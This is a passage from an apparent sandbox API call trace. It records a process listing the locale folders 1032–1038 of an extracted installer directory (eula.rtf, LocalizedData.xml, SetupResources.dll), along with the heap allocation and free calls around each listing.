ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.263] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.263] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.263] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.263] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0088.263] GetProcessHeap () returned 0xc00000 [0088.263] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.263] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1032", cAlternateFileName="")) returned 1 [0088.263] GetProcessHeap () returned 0xc00000 [0088.263] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.263] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0088.264] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.264] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.265] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.265] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.265] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.265] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0088.265] GetProcessHeap () returned 0xc00000 [0088.265] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.265] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1033", cAlternateFileName="")) returned 1 [0088.265] GetProcessHeap () returned 0xc00000 [0088.265] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.265] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.267] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.267] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.267] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.267] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.267] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.267] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0088.267] GetProcessHeap () returned 0xc00000 [0088.267] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.267] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1035", cAlternateFileName="")) returned 1 [0088.267] GetProcessHeap () returned 0xc00000 [0088.268] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.268] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.268] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.268] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.268] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.269] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.269] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.269] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0088.272] GetProcessHeap () returned 0xc00000 [0088.272] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.272] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1036", cAlternateFileName="")) returned 1 [0088.272] GetProcessHeap () returned 0xc00000 [0088.273] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.273] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.274] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.274] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.274] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.274] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.274] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.274] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0088.274] GetProcessHeap () returned 0xc00000 [0088.274] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.274] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1037", cAlternateFileName="")) returned 1 [0088.274] GetProcessHeap () returned 0xc00000 [0088.274] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.274] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.275] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.275] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.275] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.275] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.275] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.275] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0088.275] GetProcessHeap () returned 0xc00000 [0088.275] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.275] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1038", cAlternateFileName="")) returned 1 [0088.275] GetProcessHeap () returned 0xc00000 [0088.275] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.276] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0088.276] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.276] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, 